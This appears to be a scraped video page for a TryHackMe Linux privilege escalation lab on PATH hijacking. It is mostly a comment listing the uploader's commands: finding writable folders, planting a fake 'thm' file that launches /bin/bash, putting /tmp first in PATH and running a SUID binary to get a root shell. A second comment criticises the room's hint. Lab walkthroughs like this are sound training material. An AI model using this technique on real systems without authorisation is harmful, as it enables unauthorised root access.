TRYHACKME Linux PrivEsc Task 10: Privilege Escalation: PATH

preview_player
Показать описание
Commands in comments
Рекомендации по теме
Комментарии
Автор

Linux PrivEsc Task 10: Privilege Escalation: PATH


Find writable files

find / -writable 2>/dev/null | cut -d "/" -f 2, 3 | grep -v proc | sort -u


Make thm file in tmp folder

echo "/bin/bash" > thm
chmod 777 thm


Set the Path variable to look at tmp for exe files first

echo $PATH

export PATH=/tmp:$PATH

echo $PATH

Run script

./test

intothecodewithdanny
Автор

The hint on the task itself is actually misleading and gives you the wrong info. Also maybe i still havent quite understood but isnt it a little convoluted in terms of room design to execute test to execute thm.py which then executes the script in tmp because of path?

tostupidforname